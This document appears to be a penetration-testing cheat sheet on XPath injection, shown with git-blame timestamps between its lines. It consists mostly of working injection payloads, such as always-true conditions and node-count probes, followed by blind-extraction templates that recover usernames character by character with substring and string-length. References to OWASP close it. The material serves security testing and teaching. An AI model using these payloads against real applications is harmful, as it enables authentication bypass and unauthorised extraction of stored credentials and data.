2017-07-14 21:40:31 +00:00
# XPATH injection
2018-08-12 21:30:22 +00:00
2017-07-14 21:40:31 +00:00
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
## Exploitation
2018-08-12 21:30:22 +00:00
Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’
```sql
2017-07-14 21:40:31 +00:00
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
```
## Blind Exploitation
2018-08-12 21:30:22 +00:00
```sql
2017-07-14 21:40:31 +00:00
1. Size of a string
and string-length(account)=SIZE_INT
2. Extract a character
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
2017-07-14 21:40:31 +00:00
* [OWASP XPATH Injection ](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010 ))
* [XPATH Blind Explorer ](http://code.google.com/p/xpath-blind-explorer/ )
